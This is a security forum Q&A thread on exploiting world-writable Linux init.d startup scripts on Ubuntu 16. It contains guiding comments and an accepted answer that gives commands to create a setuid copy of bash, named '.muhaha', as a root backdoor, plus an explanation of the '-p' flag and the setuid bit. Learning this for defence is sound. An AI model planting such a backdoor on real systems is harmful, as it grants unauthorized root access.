What are startup scripts in Linux and what are the steps to exploit startup scripts if they are world writable?
I would appreciate if one can explain based on the following two files as example in Ubuntu 16:
/etc/init.d/README
/etc/init.d/sudo
-
2Instead of giving you the answer I will give you a few questions. What is the goal of an attacker on a system where he has restricted privileges? What does it mean for a script to run on startup (under what user does it run and context)? Combine these two answers and you know what an attacker might want to do and how he could do it.– Lucas KauffmanFeb 13, 2017 at 3:09
-
@LucasKauffman, for other script I understand. Why are we running sudo and README during startup?– drdotFeb 13, 2017 at 3:11
-
@LucasKauffman, I dont want to get a handwaving answer on least priviledge principle. I want to know exactly how to exploit them.– drdotFeb 13, 2017 at 3:12
-
2If a script is a collection of statements to be run subsequently and you would be able to write to this file, adding statements at the back. What statements could you add to gain a more privileged account?– Lucas KauffmanFeb 13, 2017 at 3:21
-
1I suggest you read up on your Linux folders and what they do. What is init.d used for?– Lucas KauffmanFeb 13, 2017 at 10:59
|
Show 2 more comments
1 Answer
Arrange, to run as root:
cp $(which bash) $(which bash).muhaha
chmod u+s $(which bash).muhaha
Now, executing $(which bash).muhaha -p gives root to any user. You can even run a script as root with $(which bash).muhaha -p /path/to/script.
The -p option is necessary because otherwise bash detects that it is setuid and drops root privileges as a security measure.
-
-
$(...)runs a command and replaces the command output into the script. So$(which bash)stands for the output of the commandwhich bash, which prints the path ofbash. Feb 14, 2017 at 4:15 -
@dannycrane Basically, it makes the code more portable than assuming that
bashis located at/bin/bash. Feb 14, 2017 at 4:30 -
So $(which bash) is the startup script that is world writable? Why would copying it to $(which base).muhaha and then give it execute permission make the muhaha script execute in root?– drdotFeb 14, 2017 at 5:26
-
@dannycrane
chmod u+ssets thesuidbit en.wikipedia.org/wiki/Setuid. Feb 14, 2017 at 6:33